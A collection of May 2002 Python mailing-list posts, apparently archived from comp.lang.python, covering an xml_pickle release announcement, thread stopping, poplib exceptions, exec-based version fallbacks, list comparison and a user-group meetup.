xml_pickle package. I started with xml_pickle-0.51 and (together with David Mertz) added a bunch of things to make xml_pickle a functional superset of the standard pickle module. [Background blurb: xml_pickle is a package that looks, internally and externally, like the standard pickle module, but produces XML output using a minimalistic encoding.] New features, compared to xml_pickle-0.51: o Can now fully restore class functionality, just like the standard pickle module. o Full internal compatibility with the pickle protocol (objects with __getstate__,__setstate__, and __getinitargs__ are pickled/unpickled exactly as pickle does). o A pickle-compatible API layer (xml_pickle.dump()/dumps()/load()/loads() are drop-in compatible with the standard pickle module.) o A type-extension "plugin" system allows you to create "pretty printed" XML representations of objects if so desired. o Virtually all objects that can be pickled can be XML-pickled. (The only exception is that builtin types cannot be pickled as *toplevel* objects, since they are not true InstanceTypes. This restriction may be removed in a future version.) o Python 2.2 compatibility (Remains compatible with Python 2.0+) o Fine-grained security model added. I consider this an improvement over regular pickle, since it allows you to control how classes are created during unpickling. This means you can load pickles from "untrusted" sources and not worry about what you're getting (ie. no one can trick you into loading an EvilList where you expected a UserList). See "pydoc gnosis.xml.pickle.doc" for more information about the security model. o DEEPCOPY option added, so you can choose whether or not to have references inserted in the XML stream. References are great for saving space, but deepcopying allows third-party/non-Python parsers to get the entire data set without having to understand references. o References now keep the "pointed-to" type in the XML tag. This allows third-party/non-Python parsers to easily tell what the referenced object contains without reconstructing the object tree. o A few other bugfixes/improvements: - Corrected refchecking of temporary objects and key/val/items. - Numerical.arrays are now refchecked - SREs are now pickled Given that there are alternative XML encoding schemes (such as XML-RPC and WDDX), a few words to explain the particular purpose and goals of xml_pickle seem to be in order: o It looks & feels just like the standard pickle module, both internally and externally, so all extension classes that speak the pickle protocol will "just work". o Has a minimalistic encoding scheme. All objects are represented using only five tags (<attr>,<entry>,<item>,<key>,and <val>) to simplify parsing by third-party/non-Python code. o The XML format is rich enough to enable xml_pickle to restore objects "fully alive", yet simple enough for "dumb" parsers to grab the complete data structures without needing to understand anything about Python classes, pickling, etc. Despite the numerous changes, xml_pickle remains backward compatible with the xml_pickle-0.51 API (and with XML documents created by older versions of xml_pickle). The only source-level change you should have to make would be to change the "import" line, since xml_pickle is now part of a larger package. For example: import xml_pickle Could be rewritten: import gnosis.xml.pickle as xml_pickle The complete package (Gnosis_XML_Utils), containing xml_pickle and other useful components like xml_objectify and xml_indexer, is released as public domain software, and is available from: http://gnosis.cx/download Specifically (as of this writing): http://gnosis.cx/download/Gnosis_XML_Utils-0.9.tar.gz Given the numerous changes, it'd be great to have as many people as possible test it. The new package includes a good set of test cases that also demonstrate the many new features of xml_pickle. Unpack the sources, and look in gnosis/xml/pickle/test. Run "test_all.py" for a complete set of tests. Please send feedback, bug reports, etc., to either myself (frankm at hiwaay.net) or David Mertz (mertz at gnosis.cx). (Development was done on Linux and OS/2, so feedback about successes or failures on other platforms would be greatly appreciated!) Thanks! frank Summary: <P><A HREF="http://gnosis.cx/download/Gnosis_XML_Util.ANNOUNCE"> Gnosis_XML_Util 1.0</A> xml_pickle (pickle to XML), xml_objectify and xml_indexer (10-May-02) -- ---[ to our friends at TLAs (spread the word) ]-------------------------- Echelon North Korea Nazi cracking spy smuggle Columbia fissionable Stego White Water strategic Clinton Delta Force militia TEMPEST Libya Mossad ---[ Postmodern Enterprises <mertz at gnosis.cx> ]-------------------------- From rpm1deletethis at frontiernet.net Fri May 3 19:22:26 2002 From: rpm1deletethis at frontiernet.net (RPM1) Date: Fri, 3 May 2002 19:22:26 -0400 Subject: Access violation over Win NT network. (solution) References: <ucrs88tkj2ttc7@corp.supernews.com> <Xns920058DCEAB82gmcmhypernetcom@199.171.54.215> <4be6f063.0204300931.530a0cda@posting.google.com> <4be6f063.0205010619.1c1eccee@posting.google.com> Message-ID: <ud670d5tsdkf81@corp.supernews.com> I still don't know the cause, but someone at work suggested using TCP/IP instead of NWLink as the network protocol on the client. Lo and behold, it worked like a charm! Patrick From aleax at aleax.it Sun May 12 04:34:21 2002 From: aleax at aleax.it (Alex Martelli) Date: Sun, 12 May 2002 08:34:21 GMT Subject: NameError: Case mismatch for module name sys References: <3cdbe559$0$155@ams2eusosrv31.ams.ops.eu.uu.net> <3cdbeff9$0$154@ams2eusosrv31.ams.ops.eu.uu.net> <3CDC888D.E2681CD@engcorp.com> <ajtrdugvk94v24alok0r98fgfovlnjih9g@4ax.com> Message-ID: <hOpD8.32380$CN3.1054470@news2.tin.it> Tim Roberts wrote: ... >>> I'm not, too. In fact, this is written for Windows. I want to say: >>> Don't take Sys.py in package Sys, but "sys" in Standard-Lib. >>> Or say: "Always look in python-standard lib first" ... > I don't see any way around his issue without renaming his Sys.py. If Sys > is already imported, then the Python "import sys" is always going to find > the already loaded one, and won't ever try to find another. Right? Right, but the import statement is not the only way to import modules. Look at standard module imp. Alex From grey at despair.dmiyu.org Wed May 15 13:16:15 2002 From: grey at despair.dmiyu.org (Steve Lamb) Date: Wed, 15 May 2002 17:16:15 -0000 Subject: Core Python programming References: <337619fa.0205121618.26e557e0@posting.google.com> <JzWD8.405$_15.9152@news4.ulv.nextra.no> Message-ID: <slrnae561k.24c.grey@teleute.dmiyu.org> On Mon, 13 May 2002 21:51:37 GMT, Erlend J. Leiknes <nookieNO_SP_AM at online.no> wrote: > I dont think you need that book as long you got excellent beginners manuals > at www.python.org Or even just the Beazley book. Yeah, it's 1.5.2 but it is good for those who are plunking out stuff, need a quick reference to something and isn't one of those who can digest something off the screen. *sigh* -- Steve C. Lamb | I'm your priest, I'm your shrink, I'm your ICQ: 5107343 | main connection to the switchboard of souls. To email: Don't despair! | -- Lenny Nero, Strange Days -------------------------------+--------------------------------------------- From peter at engcorp.com Mon May 20 13:10:44 2002 From: peter at engcorp.com (Peter Hansen) Date: Mon, 20 May 2002 13:10:44 -0400 Subject: using exceptions References: <ac9473$ph9$1@news.cis.ohio-state.edu> Message-ID: <3CE92E14.8C565BF6@engcorp.com> Locke wrote: > > I am trying to to some CGI using the poplib module. I want it to tell me if > the password is incorrect. What is the exception I should use? > > 23 try: > 24 pop.pass_(password) > 25 except error_proto: > 26 print "Your password is incorrect." You've already got it above, but you might be getting caught because you did something like "from poplib import POP". Or you just forgot that you need to preface the item with the name of the module it was defined in: import poplib pop = poplib.POP3("myserver") pop.user('locke') try: pop.pass_('badpwd') except poplib.error_proto: print 'Authentication failed' Something like that should work... -Peter From spammers.do.not.bother at void.bogus Tue May 28 17:36:02 2002 From: spammers.do.not.bother at void.bogus (Magnus) Date: Tue, 28 May 2002 21:36:02 GMT Subject: threading References: <hPRI8.9579$p56.2782748@newsb.telia.net> <Xns921CE9FDB556Dcliechtigmxnet@62.2.16.82> Message-ID: <6LSI8.9586$p56.2785767@newsb.telia.net> Chris Liechti wrote: > Magnus <spammers.do.not.bother at void.bogus> wrote in > news:hPRI8.9579$p56.2782748 at newsb.telia.net: >> I have been playing with threading.Thread and I believe I got it >> working. One thing though is that I would like to be able to kill the >> threads nicely even if they are in run(). >> >> What's the best way to solve this? > > use a flag: > > class MyThread(threading.Thread): > def __init__(self): > threading.Thread.__init__(self) > self.running = 1 > def run(self): > while self.running: > print ".", > time.sleep(1) > def stop(self): > self.running = 0 > > testing: > t = MyThread() > t.start() > time.sleep(10) > t.stop() > > chris Thanks for the suggestion. I will try that and see if it works. My concern is that one thread might be e.g. writing to a file, and in that case I need to way for it to finish. By using a flag this should work. Another thing that comes up, is about signal handling. Would there be any limitations in say using signals in Windows compared to UNIX? (I am thinking about setting up a signal handler that changes the flags in all threads.) Magnus From kragen at pobox.com Fri May 17 13:52:12 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 17 May 2002 13:52:12 -0400 Subject: How to call another file References: <abols1$l0b$1@netnews.upenn.edu> <mailman.1021303762.13689.python-list@python.org> <abpa4g$h8i$1@netnews.upenn.edu> <83r8kbw5f6.fsf@panacea.canonical.org> <77850380B97D3D89.015A3084C891C287.2096BE53E22167DB@lp.airnews.net> Message-ID: <83vg9mu0fn.fsf@panacea.canonical.org> claird at starbase.neosoft.com (Cameron Laird) writes: > Or not. Most Windows users can write > import os > os.system("notepad") > os.system("start mypage.html") > Depending on the installation of SAS, it might be at least > as easy, in a superficial way, to invoke it under Windows > as under Unix. I thought about "start"; unfortunately, it runs stuff in the background and returns immediately, which is not what the OP wanted. From pyth at devel.trillke.net Tue May 14 10:24:06 2002 From: pyth at devel.trillke.net (holger krekel) Date: Tue, 14 May 2002 16:24:06 +0200 Subject: #ifdef like question. In-Reply-To: <7647A9F4B298E74DB6793865DA67285004B347@exchange.adrembi.com>; from romany@actimize.com on Tue, May 14, 2002 at 04:39:17PM +0200 References: <7647A9F4B298E74DB6793865DA67285004B347@exchange.adrembi.com> Message-ID: <20020514162406.M28033@prim.han.de> Roman Yakovenko wrote: > Thanks for the help. I don't like the first version( I knew that I could implement it this way). > The reason is simple if for each class \ function I will have 3 files than I'd rather will not use > futures. So I'd like to see the second way. Even if it will be some dirty method. > I'll pay attention to comments. i understand and share your oppinion. ok, then. let's make it as cleanly as possible. You basically do: exec if_generators(""" # generator version def func(): yield 1 yield 2 """, """ # non-generator version def func(): return [1,2] """) where if_generators is defined like this: def if_generators(newway,oldway): import sys version=(int(sys.version[0]),int(sys.version[2])) if version >= (2,2): execstring = 'from __future__ import generators\nif 1:\n'+newway else: execstring = 'if 1:\n'+oldway return execstring this works from python-version 1.5 onwards. Some points: - You can use the exec-statement inside class definitions for methods as well. the 'if 1:' is there to allow nicer identation. Otherwiese statements would have to start at column 0. - execing a string constructs a new parsing-tree. The restriction for 'from __future__ ...' is that it must appear at the top of parsing tree, not at the beginning of a module-file. - usually an imported module is byte-compiled in its place. in the above case the exec-string will *always* be parsed and compiled once at run-time. this hurts if you have short-lived scripts that import your module. - when using multiple version of python with the same script in the same location, bytecompiling will quickly loose its purpose. This problem is not specific to the given example but applies to any such script, though. - some people rightfully argue that doing 'exec str' should be avoided in favor of 'exec str in g,l' or getting rid of it alltogether. But I don't see other sane ways of achieving our goal. Maybe the person in question is reading this and comments :-) have fun, holger From kragen at pobox.com Fri May 24 19:44:06 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 24 May 2002 19:44:06 -0400 Subject: Oberon in Python, ala Pyrex but instant compile? References: <3ce11bc3_4@goliath.newsgroups.com> <f9068f8e.0205220358.19eb1094@posting.google.com> Message-ID: <83k7ptkt6h.fsf@panacea.canonical.org> janto_d at hotmail.com (Janto Dreijer) writes: > I could keep on ranting (just ask) about oberon's flaws I'd be delighted to hear about Oberon's flaws; could you elaborate? I have no practical experience with the thing, only experience reading the "Project Oberon" book, which I find fascinating. From wesc at deirdre.org Mon May 6 04:37:06 2002 From: wesc at deirdre.org (wesc at deirdre.org) Date: Mon, 6 May 2002 01:37:06 -0700 (PDT) Subject: ANN: Silicon Valley Python UG mtg WED nite 5/8 7:30pm Message-ID: <200205060837.g468b6317000@artemis.ucsc-extension.edu> What: BayPIGgies (Silicon Valley Python users group) meeting When: Wednesday, 8 May 2002, 7:30-9 PM Where: Coco's Restaurant, 1209 Oakmead Pkwy, Sunnyvale, CA Agenda: Eating Out with Python (Python round table) Speaker: everyone... The host (and BayPIGgies volunteer) for our normal meetings at Python will be out of the country, so we will be gathering at a local restaurant for a Python round table. We will be at the Coco's Restaurant in Sunnyvale on the Lawrence Expressway and Oakmead Parkway right off US-101. Yahoo! Map/Driving Directions (gee... i wonder what language they use to build their CGI-oriented scripts...): http://yp.yahoo.com/py/ypMap.py?Pyt=Typ&tuid=9803594&ck=1088317771 The round table is totally informal and ranges from current topics and news from the Python community or recent newsgroup postings, talking about Python and how it is used in some of your projects, or to help those are making an effort to learn about a new area of Python programming they are exploring. If we finish early, those who are interested may head to the Digital Guru bookstore or Fry's Electronics. Both are within 1-2 minutes by car from the restaurant. Come along to join in having dinner *and* being able to talk about your favorite development language... and be sure to invite friends and co-workers along who may be interested in Python. Hope to see you there! -wesley Call For Talks: We are actively seeking speakers for BayPIGgies! If you would like to give a talk at one of our meetings (any Python related topic), contact us to coordinate! - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - "Core Python Programming", Prentice Hall PTR, ? 2001 http://starship.python.net/crew/wesc/cpp/ Silicon Valley-San Francisco Bay Area Python Users Group (BayPIGgies) http://deirdre.org/baypiggies wesley.j.chun :: wesc at deirdre.org cyberweb.consulting : henderson, nv : cyberweb at rocketmail.com http://roadkill.com/~wesc/cyberweb/ From bbeck13 at excite.com Tue May 7 22:38:52 2002 From: bbeck13 at excite.com (Brandon Beck) Date: 7 May 2002 19:38:52 -0700 Subject: variable length print format References: <a2972632.0205071050.9e68201@posting.google.com> Message-ID: <3ac67cce.0205071838.1a7186ec@posting.google.com> Hi Les, Give this a shot: lst = ['a', 'b', 'c', 'd'] tuples = [ (i,elem) for (i, elem) in zip(range(1, 1+len(lst)), lst) ] s = string.join(map(lambda t: "%i:%s"%t, tuples)) print s Brandon les_ander at yahoo.com (les ander) wrote in message news:<a2972632.0205071050.9e68201 at posting.google.com>... > Hi, > i have a variable length list of numbers. > i would like to print them out with indicies in front as shown below: > > List=['a','b','c','d'] ---> 1:a 2:b 3:c 4:d > > one obvious solution is that i do > for i in range(List): > print "%s:%s" % (i+1,List[i]) > > however i have a lot of these and would like it to be faster so i > tried doing this > > formatstr=" %s:%s " * len(List) > > print formatstr % (range(1,len(List)+1), List) > > but it did not work. > > is there a way to do this another way? > les From d_blade8 at hotmail.com Tue May 21 18:59:36 2002 From: d_blade8 at hotmail.com (Lemniscate) Date: 21 May 2002 15:59:36 -0700 Subject: Sort dictionary data References: <mailman.1021918373.13410.python-list@python.org> <sjhieuovp2813u2ca4hu9d6l909uuj3fc7@4ax.com> <7396d2b2.0205201454.4950434f@posting.google.com> <uvckeu4oaooeapcabqludipkoo0k5a46sf@4ax.com> Message-ID: <7396d2b2.0205211459.16431d6a@posting.google.com> Hey, no mistakes here, just learning opportunities. Stuff is always 20/20 in hindsight but who knows how long you may have wrestled with the problem before figuring it out. :) Lem Dialtone <dialtone#/N0SPAM/#@aruba.it> wrote in message news:<uvckeu4oaooeapcabqludipkoo0k5a46sf at 4ax.com>... > On 20 May 2002 15:54:24 -0700, d_blade8 at hotmail.com (Lemniscate) wrote: > > > > >This way you can loop over them (you can get the illusion of sorting a > >dictionary by key by doing this with a list from myDict.keys(), > >sorting the list and then going through each one with a call to the > >values. Anyways, have fun. > > yup you're right... Sorry my mistake. I'm just learning python and I forgot > this... Need new reading :) From larooy at xtar.co.nz Wed May 22 04:04:57 2002 From: larooy at xtar.co.nz (John La Rooy) Date: Wed, 22 May 2002 20:04:57 +1200 Subject: Threading unfairness References: <mailman.1022004577.22811.python-list@python.org> Message-ID: <20020522200457.36bfad27.larooy@xtar.co.nz> On Tue, 21 May 2002 11:14:44 -0700 "David LeBlanc" <whisper at oz.net> wrote: > and in the fullness of time, when Python has acquired enough cruft, will it > be Threaded.Threadable.threading.Thread.yield()? :-) > > David LeBlanc > Seattle, WA USA > > Perhaps. But only if you: from __the_good_old_days__ import when_yield_was_not_a_keyword ;o) From a-steinhoff at web.de Fri May 3 15:30:00 2002 From: a-steinhoff at web.de (Armin Steinhoff) Date: 3 May 2002 12:30:00 -0700 Subject: Unpacking a python list in C? References: <mailman.1020432126.21692.python-list@python.org> <lk1yct2sz4.fsf@pc150.maths.bris.ac.uk> Message-ID: <ddc19db7.0205031130.50a75989@posting.google.com> Michael Hudson <mwh at python.net> wrote in message news:<lk1yct2sz4.fsf at pc150.maths.bris.ac.uk>... [ clip ...] > > Cheers, > M. >-- > QNX... the OS that walks like a duck, quacks like a duck, but is, > in fact, a platypus. ... the adventures of porting duck software > to the platypus were avoidable this time. ... 'this time' was the year 2000 and the OS was QNX4. In the meantime there is QNX6 and you will have a lot of fun porting that "duck software" Just to draw the right picture ... Cheers Armin From rharkins at thinkronize.com Fri May 31 12:39:07 2002 From: rharkins at thinkronize.com (Rich Harkins) Date: Fri, 31 May 2002 12:39:07 -0400 Subject: semi-concatenated strings In-Reply-To: <ad84d70chf@drn.newsguy.com> References: <ad5vp6$17kc@drn.newsguy.com> <mailman.1022791249.9251.python-list@python.org> <ad84d70chf@drn.newsguy.com> Message-ID: <200205311239.08050.rharkins@thinkronize.com> On Friday 31 May 2002 11:21 am, Grant Griffin wrote: > In article <mailman.1022791249.9251.python-list at python.org>, Skip says... > > [ cool string concatenation method snipped ] > > I guess I don't see what's so bad about having to put a "+" at the end of > each--except maybe that it brings on the need for a continuation backslash: > > rows = self.executesql("select cities.city, state, country" +\ > " from cities, venues, events, addresses" +\ > " where cities.city like %s" +\ > " and events.active = 1" +\ > " and venues.address = addresses.id" +\ > " and addresses.city = cities.id" +\ > " and events.venue = venues.id", > (city,)) > > Sure, it's a little more typing, but one could argue that its easier to > read because it's explicit. (My non-SQL-trained eye would have initially > read the original as a series of parameters separated by commas which, upon > closer inspection, would be found not to actually be there.) > > Better yet would be if the parser would automatically concatenate > incomplete expressions (as identified by a line that ends with an > operator), much as it automatically concatenates incomplete list and > dictionary initialization statements. Then your example would become: > > rows = self.executesql("select cities.city, state, country" + > " from cities, venues, events, addresses" + > " where cities.city like %s" + > " and events.active = 1" + > " and venues.address = addresses.id" + > " and addresses.city = cities.id" + > " and events.venue = venues.id", > (city,)) > > which doesn't look so bad. (But then again, without the backslash it's > less explicit <wink>.) > Here's why I personally like this: >>>> '%s' 'x' % (5) '5x' >>> '%s' + 'x' % (5) Traceback (most recent call last): File "<stdin>", line 1, in ? TypeError: not all arguments converted Using this form of concatenation instead of the + form allows for the % sprintf operator to work correctly. Joy! Rich From bpurvy at packeteer.com Wed May 15 13:08:15 2002 From: bpurvy at packeteer.com (Bob Purvy) Date: Wed, 15 May 2002 10:08:15 -0700 Subject: getting name of the function you're in Message-ID: <3CE295FF.2020202@packeteer.com> does anyone know how to do this? I asked our resident Python guru and he didn't know. Also searched the docs reasonably thoroughly. it's for logging debug info to a custom log file. (I should mention that currently I'm on 2.0. Will move to 2.2 shortly, so a 2.2-only answer is still useful.) From donn at u.washington.edu Tue May 21 16:39:58 2002 From: donn at u.washington.edu (Donn Cave) Date: 21 May 2002 20:39:58 GMT Subject: ANSI colored output: How to determine how python was called? References: <mailman.1022008297.3672.python-list@python.org> Message-ID: <acebau$18r4$1@nntp6.u.washington.edu> Quoth Pearu Peterson <pearu at cens.ioc.ee>: ... | That's the reason why I ended up with using curses.wrapper that returns | with properly restoring the current terminal. I should also mention that curses isn't a very well standardized interface, so the curses module isn't as portable as the rest of Python. A solution that doesn't require curses at all will run on more platforms. Donn Cave, donn at u.washington.edu From pearu at cens.ioc.ee Mon May 6 13:43:27 2002 From: pearu at cens.ioc.ee (Pearu Peterson) Date: Mon, 6 May 2002 20:43:27 +0300 (EEST) Subject: SciPy won't install (Win98) In-Reply-To: <vKyB8.106002$Lj.8083489@bin4.nnrp.aus1.giganews.com> Message-ID: <Pine.LNX.4.21.0205062026250.19292-100000@cens.ioc.ee> On 6 May 2002, Gary Pajer wrote: > Thanks, but no luck yet. Have you tried to scan the archives of scipy-user or scipy-dev lists? There you would learn that it is a better idea to try out SciPy-0.2 from its CVS. If CVS is a problem for you, then you can get SciPy tar-ball from ftp://scipy.org/pub/scipy_snapshot.tgz SciPy-0.2 has many new features and is definitely more stable than SciPy-0.1. > "Thomas Heller" <theller at python.net> wrote in message > news:ab67u7$fj5bv$1 at ID-59885.news.dfncis.de... > > This is a 'feature' of distutils' bdist_wininst installer: It only > > displays those Python versions compatible with the installer. > > Apparently the scipy guys built it for Python 2.3 (that's the current > > CVS version in development). This (that scipy was built for Python 2.3) is not true. Scipy guys are not that grazy ;-) I believe that the .exe file in question was built for Python 2.1 but you can get more detailed information from the scipy-user list if it matters. Regards, Pearu From peter at engcorp.com Tue May 21 07:57:48 2002 From: peter at engcorp.com (Peter Hansen) Date: Tue, 21 May 2002 07:57:48 -0400 Subject: Threading unfairness References: <mailman.1021967976.3540.python-list@python.org> Message-ID: <3CEA363C.B2D9C5EE@engcorp.com> David LeBlanc wrote (top-posting...David, please don't top-post): > > hehehe > > We'd have to call it thread.giveitup() since, in spite of my arguments to > the contrary, "yield" now has different semantics in Python then in most > other languages/libraries that support the keyword. Alternatively, we could use threading.Thread.yield_(), in keeping with the ugly precedent established with unittest.TestCase.assert_() and the recently discussed poplib.POP3.pass_() methods. -Peter From sean.mcgrath at propylon.com Sun May 19 07:30:32 2002 From: sean.mcgrath at propylon.com (Sean McGrath) Date: Sun, 19 May 2002 12:30:32 +0100 Subject: Subject: Re: Exponential time increase in garbage collection In-Reply-To: <20020519112102.23691.43309.Mailman@mail.python.org> Message-ID: <5.1.0.14.0.20020519122759.00ad5a20@mail.digitome.com> [Sean McGrath <sean.mcgrath at propylon.com> writes:] >> I'm seeing curious figures (included below). Basically, >> Python 1.5.2 exhibits a big difference in deletion time for >> objects loaded via cPickle as opposed to pickle.py [Martin van Loewis] >My guess is that there is some large dictionary somewhere that is >cleared with a foolish algorithm such as >k = d.keys() >while k: > del d[k[k]] > del k[0] >I believe that this algorithm has performance characteristics similar >to the one you describe. The objects do indeed contain dictionaries but there are no manual deletions, __del__ overrides or anything of that nature. The delete is performed "naturally" by Python. regards, Sean From davidccarson at hotmail.com Mon May 13 18:01:23 2002 From: davidccarson at hotmail.com (David Carson) Date: 13 May 2002 15:01:23 -0700 Subject: python for this C: "if ((a = b(c)) != NULL)" Message-ID: <12257ec4.0205131401.25c63801@posting.google.com> This feels like a stupid question, but I'm having trouble seeing outside of my C background right now. I expected the C syntax above to work in Python, with None replacing NULL, but it complains about the assignment in the inner parentheses. In C, of course, the inner assignment has a side effect ('a' gets the value) and has a value that can be compared to NULL. So, how do I do this in Python, since I want to avoid running method b() twice in the case where I want to use 'a' later? In other words, I don't want to do: if b(c): a = b(c) use a here ... David From aleax at aleax.it Thu May 9 02:37:31 2002 From: aleax at aleax.it (Alex Martelli) Date: Thu, 09 May 2002 06:37:31 GMT Subject: comparing lists References: <mailman.1020894134.15414.python-list@python.org> Message-ID: <LOoC8.39694$zW3.427612@news1.tin.it> Mark McEahern wrote: > Suppose I want to do a boolean comparison (equal or not equal) of two > lists case-insensitively and I don't care about order. I can do this: "Don't care about order" -> use dictionaries. O(N) operation rather than: > 1. Create temporary copies that are lowercased and use the in operator: O(N**2) > 2. Sort temporary copies, then then compare them. O(N logN) Here's a O(N) solution: def compare_via_dicts(L, M): def makebag(L): dL = {} for x in L: x = x.lower() dL[x] = 1 + dL.get(x, 0) return makebag(L) == makebag(M) Note we use a 'bag' (x -> #instances of x in list), not a set, to take care of repetitions so ['a', 'A'] will not appear equal to ['a', 'A', 'A'], &c. Alex From mwh at python.net Thu May 23 08:57:54 2002 From: mwh at python.net (Michael Hudson) Date: Thu, 23 May 2002 12:57:54 GMT Subject: os.path.join() necessary? References: <3CECD167.9020107@thomas-guettler.de> <lkbsb75byp.fsf@pc150.maths.bris.ac.uk> <3CECE2C9.60703@thomas-guettler.de> Message-ID: <lk7klv58bj.fsf@pc150.maths.bris.ac.uk> Thomas Guettler <zopestoller at thomas-guettler.de> writes: > Michael Hudson wrote: > > > Thomas Guettler <zopestoller at thomas-guettler.de> writes: > > > >>Is os.path.join() necessary? I use > >> > >>absolute_path=dir + "/" + file > >> > >>on windows (W2K) without problems. > >> > > Try it on the Mac. > > > I would, but have not Mac or MacOSX here. That's not the point. > Can you try it? No, but I can tell you what will happen (in Classic, at least): it won't work. MacOS <=9 uses colons as path separators. Cheers, M. -- Now this is what I don't get. Nobody said absolutely anything bad about anything. Yet it is always possible to just pull random flames out of ones ass. -- http://www.advogato.org/person/vicious/diary.html?start=60 From maxm at mxm.dk Wed May 29 06:29:27 2002 From: maxm at mxm.dk (Max M) Date: Wed, 29 May 2002 12:29:27 +0200 Subject: re References: <3CF3CDB9.A1416BF3@millfilm.co.uk> Message-ID: <3CF4AD87.9050206@mxm.dk> Eric Texier wrote: > I am trying to do replace '#' with a number in string with some control > over the padding: > > a = 'echo file#.sgi file#~3.sgi file#~5*2.sgi' If possible you are better of using Pythons string formatting notation for this: val = 3 a = 'echo file%s.sgi file%.3i.sgi file%.5i.sgi' % (val, val, val*2) print a >>>echo file3.sgi file003.sgi file00006.sgi More in the documentation at: 2.2.6.2 String Formatting Operations regards Max M From rdsteph at earthlink.net Sun May 5 18:53:21 2002 From: rdsteph at earthlink.net (Ron Stephens) Date: Sun, 05 May 2002 22:53:21 GMT Subject: Looking for a scripting language References: <3cd49f78$0$355$9b622d9e@news.freenet.de> <BD941D227409D0F6.25DF90CA09BB9D7B.2C0A6B9E492E5916@lp.airnews.net> <3cd51348$0$151$9b622d9e@news.freenet.de> Message-ID: <3CD57FA7.2050905@earthlink.net> Cheers. I'd be glad to host either your programs or a mini-website if you would like, on my Python oriented web site at http://www.awaretek.com/plf.html . I already am keeping company with Hans Nowak at that site ;-))). Just drop me an email if you are interested. Ron Stephens rdsteph at earthlink.net Python City http://www.awaretek.com.plf.html From gerhard at bigfoot.de Wed May 8 11:47:24 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: Wed, 8 May 2002 17:47:24 +0200 Subject: Creating C modules for Python under Cygwin In-Reply-To: <20020508141120.GI1700@tishler.net> References: <3CD41CC4.5752F30C@wag.caltech.edu> <j43cx6ilpq.fsf@informatik.hu-berlin.de> <20020506131744.GD1668@tishler.net> <mailman.1020694211.2354.python-list@python.org> <pNwB8.9120$zW3.232547@news1.tin.it> <20020506165922.GN1668@tishler.net> <j4n0vd40rq.fsf@informatik.hu-berlin.de> <20020508134242.GF1700@tishler.net> <j4g012ycit.fsf@informatik.hu-berlin.de> <20020508141120.GI1700@tishler.net> Message-ID: <20020508154724.GA520@lilith.my-fqdn.de> * Jason Tishler <jason at tishler.net> [2002-05-08 10:11 -0400]: > Martin, > > On Wed, May 08, 2002 at 03:50:18PM +0200, Martin v. L?wis wrote: > > I wonder whether it is possible to compile Python in a Mingw > > configuration, though. > > Appears so: > > http://mail.python.org/pipermail/python-dev/2002-March/020741.html Unfortunately, the switch to a new autoconf broke my efforts. I'll look how well it fares with the new mingw snapshot. It would be relatively easy to write custom Makefiles for mingw, but the autoconf stuff is really giving me a hard time (I'm a newbie there). Currently, when I run make, I get an infinite recursion: make keeps calling itself for some obscure reason. Gerhard -- mail: gerhard <at> bigfoot <dot> de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From noah at noah.org Wed May 1 17:42:10 2002 From: noah at noah.org (Noah) Date: Wed, 1 May 2002 14:42:10 -0700 Subject: Macintosh Question In-Reply-To: <aan7ih$jve$1@lumberjack.rand.org> Message-ID: <PAENINBOOODFDEPOKPKCCEFMCNAA.noah@noah.org> I don't have a Mac, but according to the mac Python docs this is done by emulating command line arguments. http://www.python.org/doc/mac/argv.html That is, whatever you drop onto the applet will show up in your script's sys.argv list with argv[0] being the name of your scripts and argv[1..n] being the names of the files that you dropped. http://www.python.org/doc/current/lib/module-sys.html#l2h-235 Apparently, you have to make sure that you do "Save As Applet". http://www.python.org/doc/mac/IDEapplet.html#IDEapplet Yours, Noah -----Original Message----- From: python-list-admin at python.org [mailto:python-list-admin at python.org]On Behalf Of Bryce C. Mason Sent: Tuesday, April 30, 2002 3:59 PM To: python-list at python.org Subject: Macintosh Question I developed a script in windows which opens a file, does "stuff" to it, and writes a few files back to the disk. How do I do the "drag and drop" Macintosh version? I want the user to have my python script on his desktop and all he has to do is drag the file over the script, let go, and out pop the files the script generates right on his desktop. Any ideas? Bryce From larooy at xtar.co.nz Thu May 23 06:55:00 2002 From: larooy at xtar.co.nz (John La Rooy) Date: Thu, 23 May 2002 22:55:00 +1200 Subject: Python vs. Perl, which is better to learn? References: <mailman.1020147892.13578.python-list@python.org> <82bsbvl5q1.fsf@acropolis.localdomain> <ab3ebr$9o7$1@panix1.panix.com> <82adrehag0.fsf@acropolis.localdomain> <ab40pf$ajd$1@panix3.panix.com> <821ycqjayi.fsf@acropolis.localdomain> <3CD5F1CC.A65C4AE0@engcorp.com> <3CD77BF0.49C749B2@cascade-sys.com> <3CD8B28B.C610082@engcorp.com> <mailman.1020849410.32598.python-list@python.org> <yFfC8.103103$q8.10555170@bin3.nnrp.aus1.giganews.com> <83661fgx0m.fsf@panacea.canonical.org> Message-ID: <20020523225500.4001ee62.larooy@xtar.co.nz> This way is 10 times faster than C with plain recursive calls. def recfib(n,fibcache={}): if n not in fibcache: fibcache[n] = n <= 2 or recfib(n-1) + recfib(n-2) return fibcache[n] print recfib(33) John On 23 May 2002 03:10:17 -0400 Kragen Sitaker <kragen at pobox.com> wrote: > "Terry Reedy" <tjreedy at udel.edu> writes: > > Newcomer Troll: Ha ha. I just ran a comparative test and Python is > > WAAAY slow. > > > > Pythoneer: Can you give us some details? > > > > NT: Yeah. My turbo-lang version took 1/100 second and Python took a > > *whole* second -- 100 times slower. > > For an example, where Python came out to be 140 times slower than C in > a simple test, see > http://lists.canonical.org/pipermail/kragen-tol/2000-April/000571.html > --- fib(33), using the straightforward exponential-time algorithm, was > the microbenchmark. > > For lots more examples, see the Great Computer Language Shootout, at > http://www.bagley.org/~doug/shootout --- the above performance is > pretty average, although Python fares considerably better in the > "real" problems (each program does the same thing) than in the > "artifical" problems (each program is written the same way). > From jason at jvoegele.com Fri May 17 10:54:22 2002 From: jason at jvoegele.com (Jason Voegele) Date: 17 May 2002 07:54:22 -0700 Subject: How many languages features are available for OO support? References: <9r5F8.142619$o66.424520@news-server.bigpond.net.au> Message-ID: <91acf731.0205170654.2a4ddd8@posting.google.com> "Byron Hammond" <byronh at bigpond.net.au> wrote in message 